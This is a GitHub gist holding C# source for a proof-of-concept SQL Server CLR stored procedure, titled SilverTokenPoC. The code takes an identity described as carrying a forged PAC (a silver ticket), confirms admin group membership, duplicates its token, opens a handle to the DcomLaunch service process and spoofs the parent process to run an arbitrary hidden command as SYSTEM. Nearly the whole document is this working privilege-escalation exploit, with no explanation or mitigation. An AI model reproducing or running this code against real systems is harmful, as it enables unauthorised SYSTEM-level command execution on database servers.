-
-
Save xct/8e0051caa54993c21757c72e0597e86c to your computer and use it in GitHub Desktop.
SilverTokenPoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Data.SqlTypes; | |
| using System.Runtime.InteropServices; | |
| using System.Security.Principal; | |
| using System.Text; | |
| using Microsoft.SqlServer.Server; | |
| public class SilverTokenPoC | |
| { | |
| // Token APIs | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| static extern bool OpenThreadToken(IntPtr h, uint access, bool self, out IntPtr tok); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| static extern bool DuplicateTokenEx(IntPtr h, uint access, IntPtr sa, int il, int type, out IntPtr tok); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| static extern bool GetTokenInformation(IntPtr h, int cls, IntPtr buf, int len, out int needed); | |
| [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
| static extern bool LookupPrivilegeName(string sys, ref long luid, StringBuilder name, ref int len); | |
| [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
| static extern bool ConvertSidToStringSid(IntPtr sid, out IntPtr str); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| static extern bool OpenProcessToken(IntPtr h, uint access, out IntPtr tok); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| static extern bool RevertToSelf(); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| static extern bool ImpersonateLoggedOnUser(IntPtr hToken); | |
| // Service APIs (for querying DcomLaunch PID) | |
| [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
| static extern IntPtr OpenSCManager(string machine, string db, uint access); | |
| [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
| static extern IntPtr OpenService(IntPtr hSCManager, string name, uint access); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| static extern bool QueryServiceStatusEx(IntPtr hService, int infoLevel, IntPtr buf, int bufSize, out int needed); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| static extern bool CloseServiceHandle(IntPtr h); | |
| // Process APIs | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| static extern IntPtr OpenProcess(uint access, bool inherit, uint pid); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| static extern bool InitializeProcThreadAttributeList(IntPtr list, int count, int flags, ref IntPtr size); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| static extern bool UpdateProcThreadAttribute(IntPtr list, uint flags, IntPtr attr, IntPtr val, IntPtr size, IntPtr prev, IntPtr retSize); | |
| [DllImport("kernel32.dll")] | |
| static extern void DeleteProcThreadAttributeList(IntPtr list); | |
| [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
| static extern bool CreateProcessW(string app, string cmd, IntPtr procAttr, IntPtr threadAttr, bool inherit, uint flags, IntPtr env, string dir, ref STARTUPINFOEX si, out PROCESS_INFORMATION pi); | |
| [DllImport("kernel32.dll")] | |
| static extern uint WaitForSingleObject(IntPtr h, uint ms); | |
| [DllImport("kernel32.dll")] | |
| static extern IntPtr GetCurrentThread(); | |
| [DllImport("kernel32.dll")] | |
| static extern IntPtr GetCurrentProcess(); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| static extern bool CloseHandle(IntPtr h); | |
| [DllImport("kernel32.dll")] | |
| static extern IntPtr LocalFree(IntPtr h); | |
| [DllImport("kernel32.dll")] | |
| static extern IntPtr GetProcessHeap(); | |
| [DllImport("kernel32.dll")] | |
| static extern IntPtr HeapAlloc(IntPtr heap, uint flags, IntPtr size); | |
| [DllImport("kernel32.dll")] | |
| static extern bool HeapFree(IntPtr heap, uint flags, IntPtr mem); | |
| const uint TOKEN_ALL_ACCESS = 0xF01FF; | |
| const uint TOKEN_QUERY = 0x0008; | |
| const int SecurityImpersonation = 2; | |
| const int TokenPrimary = 1; | |
| const uint SC_MANAGER_CONNECT = 0x0001; | |
| const uint SERVICE_QUERY_STATUS = 0x0004; | |
| const int SC_STATUS_PROCESS_INFO = 0; | |
| const uint PROCESS_ALL_ACCESS = 0x001F0FFF; | |
| const uint CREATE_NO_WINDOW = 0x08000000; | |
| const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; | |
| const uint HEAP_ZERO_MEMORY = 0x00000008; | |
| const int STARTF_USESHOWWINDOW = 0x00000001; | |
| const short SW_HIDE = 0; | |
| static readonly IntPtr PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = (IntPtr)0x00020000; | |
| [StructLayout(LayoutKind.Sequential)] | |
| struct SERVICE_STATUS_PROCESS | |
| { | |
| public uint dwServiceType, dwCurrentState, dwControlsAccepted; | |
| public uint dwWin32ExitCode, dwServiceSpecificExitCode; | |
| public uint dwCheckPoint, dwWaitHint, dwProcessId, dwServiceFlags; | |
| } | |
| [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
| struct STARTUPINFOEX | |
| { | |
| public int cb; | |
| public IntPtr lpReserved; | |
| public IntPtr lpDesktop; | |
| public IntPtr lpTitle; | |
| public int dwX, dwY, dwXSize, dwYSize; | |
| public int dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags; | |
| public short wShowWindow, cbReserved2; | |
| public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError; | |
| public IntPtr lpAttributeList; | |
| } | |
| [StructLayout(LayoutKind.Sequential)] | |
| struct PROCESS_INFORMATION | |
| { | |
| public IntPtr hProcess, hThread; | |
| public int dwProcessId, dwThreadId; | |
| } | |
| [SqlProcedure] | |
| public static void silver_token_exec(SqlString process, SqlString arguments) | |
| { | |
| StringBuilder r = new StringBuilder(); | |
| try | |
| { | |
| string proc = process.IsNull ? "cmd.exe" : process.Value; | |
| string args = arguments.IsNull ? "" : arguments.Value; | |
| r.AppendLine("[*] Silver Ticket CLR Token PoC"); | |
| r.AppendLine(); | |
| IntPtr pt; | |
| if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out pt)) | |
| { | |
| r.AppendLine("[*] Process token privileges:"); | |
| EnumPrivileges(pt, r); | |
| CloseHandle(pt); | |
| } | |
| r.AppendLine(); | |
| WindowsIdentity id = SqlContext.WindowsIdentity; | |
| if (id == null) | |
| { | |
| r.AppendLine("[-] SqlContext.WindowsIdentity is null"); | |
| Send(r.ToString()); return; | |
| } | |
| r.AppendLine("[+] SqlContext identity: " + id.Name); | |
| r.AppendLine(); | |
| r.AppendLine("[*] Caller token privileges:"); | |
| EnumPrivileges(id.Token, r); | |
| r.AppendLine(); | |
| r.AppendLine("[*] Caller token groups:"); | |
| if (!EnumGroups(id.Token, r)) | |
| { | |
| r.AppendLine("[-] No admin groups — need S-1-5-32-544 or -512 in PAC"); | |
| Send(r.ToString()); return; | |
| } | |
| r.AppendLine(); | |
| r.AppendLine("[+] Admin group membership confirmed"); | |
| // Step 1: Brief managed impersonation to get a duplicated primary token | |
| r.AppendLine("[*] Impersonating caller identity..."); | |
| WindowsImpersonationContext ctx = id.Impersonate(); | |
| IntPtr tt; | |
| if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tt)) | |
| { | |
| ctx.Undo(); | |
| r.AppendLine("[!] OpenThreadToken failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| IntPtr silverToken; | |
| if (!DuplicateTokenEx(tt, TOKEN_ALL_ACCESS, IntPtr.Zero, | |
| SecurityImpersonation, TokenPrimary, out silverToken)) | |
| { | |
| CloseHandle(tt); ctx.Undo(); | |
| r.AppendLine("[!] DuplicateTokenEx failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| CloseHandle(tt); | |
| ctx.Undo(); // Revert managed impersonation immediately | |
| r.AppendLine("[+] Primary token obtained from forged PAC identity"); | |
| // Step 2: Native impersonation to open a SYSTEM process handle | |
| r.AppendLine("[*] Getting DcomLaunch process handle..."); | |
| if (!ImpersonateLoggedOnUser(silverToken)) | |
| { | |
| CloseHandle(silverToken); | |
| r.AppendLine("[!] ImpersonateLoggedOnUser failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| // Query DcomLaunch PID via SCM | |
| IntPtr hSCM = OpenSCManager(null, null, SC_MANAGER_CONNECT); | |
| if (hSCM == IntPtr.Zero) | |
| { | |
| RevertToSelf(); CloseHandle(silverToken); | |
| r.AppendLine("[!] OpenSCManager failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| IntPtr hSvc = OpenService(hSCM, "DcomLaunch", SERVICE_QUERY_STATUS); | |
| if (hSvc == IntPtr.Zero) | |
| { | |
| CloseServiceHandle(hSCM); RevertToSelf(); CloseHandle(silverToken); | |
| r.AppendLine("[!] OpenService(DcomLaunch) failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| int needed; | |
| int svcBufSize = Marshal.SizeOf(typeof(SERVICE_STATUS_PROCESS)); | |
| IntPtr svcBuf = Marshal.AllocHGlobal(svcBufSize); | |
| if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, svcBuf, svcBufSize, out needed)) | |
| { | |
| Marshal.FreeHGlobal(svcBuf); | |
| CloseServiceHandle(hSvc); CloseServiceHandle(hSCM); | |
| RevertToSelf(); CloseHandle(silverToken); | |
| r.AppendLine("[!] QueryServiceStatusEx failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| SERVICE_STATUS_PROCESS svcInfo = (SERVICE_STATUS_PROCESS)Marshal.PtrToStructure( | |
| svcBuf, typeof(SERVICE_STATUS_PROCESS)); | |
| Marshal.FreeHGlobal(svcBuf); | |
| CloseServiceHandle(hSvc); | |
| CloseServiceHandle(hSCM); | |
| r.AppendLine("[+] DcomLaunch PID: " + svcInfo.dwProcessId); | |
| // Open handle to DcomLaunch (SeDebugPrivilege bypasses access checks) | |
| IntPtr parentHandle = OpenProcess(PROCESS_ALL_ACCESS, false, svcInfo.dwProcessId); | |
| if (parentHandle == IntPtr.Zero) | |
| { | |
| RevertToSelf(); CloseHandle(silverToken); | |
| r.AppendLine("[!] OpenProcess failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| r.AppendLine("[+] Got handle to DcomLaunch"); | |
| RevertToSelf(); | |
| // Step 3: Parent PID spoofing — child inherits DcomLaunch's SYSTEM token | |
| string tmpFile = "C:\\Windows\\Temp\\" + Guid.NewGuid().ToString() + ".tmp"; | |
| string cmdLine = string.Format("C:\\Windows\\System32\\cmd.exe /c {0} {1} > \"{2}\" 2>&1", | |
| proc, args, tmpFile); | |
| r.AppendLine("[*] Command: " + proc + " " + args); | |
| // Initialize proc thread attribute list | |
| IntPtr listSize = IntPtr.Zero; | |
| InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref listSize); | |
| IntPtr procList = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, listSize); | |
| if (procList == IntPtr.Zero) | |
| { | |
| CloseHandle(parentHandle); CloseHandle(silverToken); | |
| r.AppendLine("[!] HeapAlloc failed"); | |
| Send(r.ToString()); return; | |
| } | |
| if (!InitializeProcThreadAttributeList(procList, 1, 0, ref listSize)) | |
| { | |
| HeapFree(GetProcessHeap(), 0, procList); | |
| CloseHandle(parentHandle); CloseHandle(silverToken); | |
| r.AppendLine("[!] InitializeProcThreadAttributeList failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| IntPtr parentVal = Marshal.AllocHGlobal(IntPtr.Size); | |
| Marshal.WriteIntPtr(parentVal, parentHandle); | |
| if (!UpdateProcThreadAttribute(procList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, | |
| parentVal, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero)) | |
| { | |
| Marshal.FreeHGlobal(parentVal); | |
| DeleteProcThreadAttributeList(procList); | |
| HeapFree(GetProcessHeap(), 0, procList); | |
| CloseHandle(parentHandle); CloseHandle(silverToken); | |
| r.AppendLine("[!] UpdateProcThreadAttribute failed: " + Marshal.GetLastWin32Error()); | |
| Send(r.ToString()); return; | |
| } | |
| STARTUPINFOEX si = new STARTUPINFOEX(); | |
| si.cb = Marshal.SizeOf(typeof(STARTUPINFOEX)); | |
| si.dwFlags = STARTF_USESHOWWINDOW; | |
| si.wShowWindow = SW_HIDE; | |
| si.lpAttributeList = procList; | |
| PROCESS_INFORMATION pi; | |
| if (!CreateProcessW(null, cmdLine, IntPtr.Zero, IntPtr.Zero, false, | |
| CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, | |
| IntPtr.Zero, null, ref si, out pi)) | |
| { | |
| int err = Marshal.GetLastWin32Error(); | |
| Marshal.FreeHGlobal(parentVal); | |
| DeleteProcThreadAttributeList(procList); | |
| HeapFree(GetProcessHeap(), 0, procList); | |
| CloseHandle(parentHandle); CloseHandle(silverToken); | |
| r.AppendLine("[!] CreateProcess failed: " + err); | |
| Send(r.ToString()); return; | |
| } | |
| r.AppendLine("[+] Spawned process PID " + pi.dwProcessId + " as child of DcomLaunch (SYSTEM)"); | |
| WaitForSingleObject(pi.hProcess, 5000); | |
| CloseHandle(pi.hProcess); | |
| CloseHandle(pi.hThread); | |
| Marshal.FreeHGlobal(parentVal); | |
| DeleteProcThreadAttributeList(procList); | |
| HeapFree(GetProcessHeap(), 0, procList); | |
| CloseHandle(parentHandle); | |
| // Re-impersonate to read output (file owned by SYSTEM) | |
| ImpersonateLoggedOnUser(silverToken); | |
| if (System.IO.File.Exists(tmpFile)) | |
| { | |
| r.AppendLine(); | |
| r.AppendLine(System.IO.File.ReadAllText(tmpFile)); | |
| try { System.IO.File.Delete(tmpFile); } catch {} | |
| } | |
| else | |
| { | |
| r.AppendLine("[!] Output file not found: " + tmpFile); | |
| } | |
| RevertToSelf(); | |
| CloseHandle(silverToken); | |
| } | |
| catch (Exception ex) | |
| { | |
| r.AppendLine("[!] " + ex.Message); | |
| } | |
| Send(r.ToString()); | |
| } | |
| static void EnumPrivileges(IntPtr tok, StringBuilder r) | |
| { | |
| int n; GetTokenInformation(tok, 3, IntPtr.Zero, 0, out n); | |
| if (n <= 0) return; | |
| IntPtr buf = Marshal.AllocHGlobal(n); | |
| try { | |
| if (!GetTokenInformation(tok, 3, buf, n, out n)) return; | |
| uint c = (uint)Marshal.ReadInt32(buf, 0); | |
| int off = 4; | |
| for (uint i = 0; i < c; i++) { | |
| long luid = Marshal.ReadInt64(buf, off); | |
| uint a = (uint)Marshal.ReadInt32(buf, off + 8); off += 12; | |
| StringBuilder sb = new StringBuilder(256); int nl = 256; long l = luid; | |
| string s = LookupPrivilegeName(null, ref l, sb, ref nl) ? sb.ToString() : "LUID:" + luid; | |
| r.AppendLine(" " + s + " (" + ((a & 2) != 0 ? "Enabled" : "Disabled") + ")"); | |
| } | |
| } finally { Marshal.FreeHGlobal(buf); } | |
| } | |
| static bool EnumGroups(IntPtr tok, StringBuilder r) | |
| { | |
| int n; GetTokenInformation(tok, 2, IntPtr.Zero, 0, out n); | |
| if (n <= 0) return false; | |
| IntPtr buf = Marshal.AllocHGlobal(n); | |
| bool found = false; | |
| try { | |
| if (!GetTokenInformation(tok, 2, buf, n, out n)) return false; | |
| uint c = (uint)Marshal.ReadInt32(buf, 0); | |
| int sz = IntPtr.Size + 4; | |
| if (sz % IntPtr.Size != 0) sz += IntPtr.Size - (sz % IntPtr.Size); | |
| int off = IntPtr.Size; | |
| for (uint i = 0; i < c; i++) { | |
| IntPtr sid = Marshal.ReadIntPtr(buf, off); | |
| uint a = (uint)Marshal.ReadInt32(buf, off + IntPtr.Size); off += sz; | |
| IntPtr ss; if (!ConvertSidToStringSid(sid, out ss)) continue; | |
| string s = Marshal.PtrToStringUni(ss); LocalFree(ss); | |
| bool adm = s == "S-1-5-32-544" || s.EndsWith("-512"); | |
| r.AppendLine(" " + s + " (" + ((a & 4) != 0 ? "Enabled" : "Disabled") + ")" + (adm ? " ***" : "")); | |
| if (adm && (a & 4) != 0) found = true; | |
| } | |
| } finally { Marshal.FreeHGlobal(buf); } | |
| return found; | |
| } | |
| static void Send(string text) | |
| { | |
| SqlDataRecord rec = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000)); | |
| SqlContext.Pipe.SendResultsStart(rec); | |
| for (int i = 0; i < text.Length; i += 4000) { | |
| rec.SetString(0, text.Substring(i, Math.Min(4000, text.Length - i))); | |
| SqlContext.Pipe.SendResultsRow(rec); | |
| } | |
| SqlContext.Pipe.SendResultsEnd(); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment